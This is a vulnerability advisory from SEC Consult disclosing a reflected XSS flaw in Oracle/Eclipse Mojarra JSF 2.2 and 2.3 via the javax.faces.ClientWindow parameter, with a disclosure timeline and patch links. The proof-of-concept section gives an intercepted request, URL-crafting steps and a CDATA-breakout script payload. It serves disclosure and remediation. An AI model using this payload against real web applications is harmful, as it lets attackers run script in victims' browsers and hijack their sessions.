SEC Consult Vulnerability Lab Security Advisory < 20190918-0 >
=======================================================================
              title: Reflected Cross-Site Scripting (XSS)
            product: Oracle Mojarra JSF included in Java EE 7
                     Eclipse Mojarra JSF
 vulnerable version: 2.2 & 2.3
      fixed version: https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_2X_ROLLING
                     https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_3X_ROLLING
                     https://github.com/eclipse-ee4j/mojarra
         CVE number: -
             impact: Medium
           homepage: https://javaserverfaces.github.io/
              found: 2018-11-12
                 by: Jean-Benjamin Rousseau (Office Zurich)
                     Guillaume Crouquet (Office Zurich)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"JavaServer Faces technology simplifies building user interfaces for
JavaServer applications. Developers can build web applications by
assembling reuseable UI components in a page; connecting these
components to an application data source; and wiring client-generated
events to server-side event handlers.  This project provides information
on the continued development of the JavaServer Faces specification.

JavaServer Faces (JSF) is a JCP Standard technology for authoring
component based user interfaces on the Java EE platform."

Source: https://javaee.github.io/javaserverfaces-spec/


Business recommendation:
------------------------
By exploiting the vulnerability documented in this advisory, an attacker
can execute arbitrary scripts in the context of the web application in the
victim's browser. Besides performing arbitrary actions within the
application with the victim's account or manipulating the application's
interface, the attacker can potentially steal session tokens, redirect
the victim to external pages and perform attacks against their browser.

SEC Consult recommends users to implement the available patches.


Vulnerability overview/description:
-----------------------------------
The Mojarra implementation of JavaServer Faces (JSF) v2.2 and v2.3
lacks input validation on the javax.faces.ClientWindow parameter which can
lead to reflected cross-site scripting (XSS) under certain conditions.

Mojarra JSF v2.2 and v2.3 are respectively the user interface
standards for Java EE 7 and Java EE 8.

The vulnerability is not directly exploitable in Mojarra JSF v2.2
and v2.3. However, different frameworks based on this library and having
a custom implementation of the Faces-Request HTTP headers for AJAX requests
might be affected. PrimeFaces v6.0 is one example of a vulnerable framework.

This vulnerability affects the web applications fulfilling the following
conditions:
 - Usage of a framework based on Mojarra JSF v2.2 or v2.3
 - Usage of AJAX requests in the web applications
 - Custom implementation of the Faces-Request HTTP headers for AJAX requests
 - Presence of the javax.faces.CLIENT_WINDOW_MODE context parameter
   set to "url" in the web.xml file:

<context-param>
  <param-name>javax.faces.CLIENT_WINDOW_MODE</param-name>
  <param-value>url</param-value>
</context-param>


Proof of concept:
-----------------
In this proof of concept, the tests are based on PrimeFaces v6.0,
an open source framework for JSF. Other frameworks based on
Mojarra JSF 2.2 or 2.3 might also be affected.

Step 1: Generate an AJAX request on the web application and intercept it.
-----------
POST /HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0 HTTP/1.1
Host: $IP
Content-Length: 405
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://$IP
X-Requested-With: XMLHttpRequest
Faces-Request: partial/ajax
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=2a616ef87aeed7521b02ceb4e163
Connection: close

javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ViewState=7025249133904776332%3A-921340693957557245&javax.faces.ClientWindow=2a616ef87aeed7521b02ceb4e163%3A0
-----------

Step 2: Transpose the POST parameters into GET parameters and
build a new URL with it.

http://$IP/HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0&javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ViewState=7025249133904776332%3A-921340693957557245&javax.faces.ClientWindow=2a616ef87aeed7521b02ceb4e163%3A0


Step 3: Strip out the javax.faces.ViewState GET parameter from the URL.

http://localhost:8080/HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0&javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ClientWindow=2a616ef87aeed7521b02ceb4e163%3A0


Step 4: Prefix the javax.faces.ClientWindow GET parameter with
the following PoC payload:

]]></update><something%3ascript+xmlns%3asomething%3d"http%3a//www.w3.org/1999/xhtml">alert('SEC
Consult')</something%3ascript><update+id%3d"j_id1%3ajavax.faces.ClientWindow%3a0"><![CDATA[

Resulting URL:

http://$IP/HelloPrimeFaces/faces/welcomePrimefaces.xhtml?jfwid=2a616ef87aeed7521b02ceb4e163:0&javax.faces.partial.ajax=true&javax.faces.source=j_idt18%3AbtnSurname&javax.faces.partial.execute=j_idt18%3AbtnSurname+j_idt18%3Asurname&javax.faces.partial.render=j_idt18%3Agrid&j_idt18%3AbtnSurname=j_idt18%3AbtnSurname&j_idt18=j_idt18&j_idt18%3Afirstname=&j_idt18%3Asurname=surname&javax.faces.ClientWindow=]]></update><something%3ascript+xmlns%3asomething%3d"http%3a//www.w3.org/1999/xhtml">alert('SEC+Consult')</something%3ascript><update+id%3d"j_id1%3ajavax.faces.ClientWindow%3a0"><![CDATA[2a616ef87aeed7521b02ceb4e163%3A0


Step 5: To trigger the XSS, the victim just needs to browse to the crafted link
of step 4.


Vulnerable / tested versions:
-----------------------------
The following version has been tested:
* Mojarra JSF v2.2 included in Java EE 7
* Mojarra JSF v2.3 included in Java EE 8 has not been tested
  but is affected according to the vendor


Vendor contact timeline:
------------------------
Oracle:
2018-11-22: Contacting vendor through secalert_us@oracle.com
2018-11-27: Initial response from Oracle. Monthly updates will be
            provided until the issue is addressed.
2018-12-15: Request from Oracle for technical details.
2018-12-17: Response with requested details
            Error in the transmission of the e-mail.
2019-01-11: Request from Oracle to delay the release date
            when a fix will be provided.
2019-01-15: Extension of the release and retransmission of the technical
            details from the previous mail.
2019-02-01: Request from Oracle to extend the release date after
            the 16th of April 2019.
2019-02-04: Extension of the release date.
2019-02-05: Acknowledgment of receipt from Oracle.
2019-04-11: Release of a fix for versions 2.2 and 2.3 of Oracle Mojarra JSF
2019-04-29: SEC Consult: fix is incomplete and only filters script tags, request
            for a CVE number and credits.
2019-04-30: Request from Oracle for details for crediting
2019-04-30: Provision of details from SEC Consult
2019-05-07: Confirmation of credits in the Oracle Critical Patch Update
            Advisory - April 2019
2019-08-30: Confirmation by Oracle that a patch has been applied


Eclipse:
2019-06-13: Contacting vendor through bugs.eclipse.org
2019-08-23: Project lead replied that he will take care of this issue
2019-08-28: Ask for an update with no response

2019-09-18: Release of security advisory


Solution:
---------
Oracle has addressed the reported issue for the versions 2.2 and 2.3:
https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_2X_ROLLING
https://github.com/javaserverfaces/mojarra/commits/MOJARRA_2_3X_ROLLING

JSF is part of Java EE SDK, but Java EE is not a supported product, so
Oracle will not be announcing the fixes through their Critical Patch Update.

Eclipse has also been contacted, but no patch has been confirmed yet.


Workaround:
-----------
None.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
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recommendation about the risk profile of new technologies.

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EOF Jean-Benjamin Rousseau - Guillaume Crouquet / @2019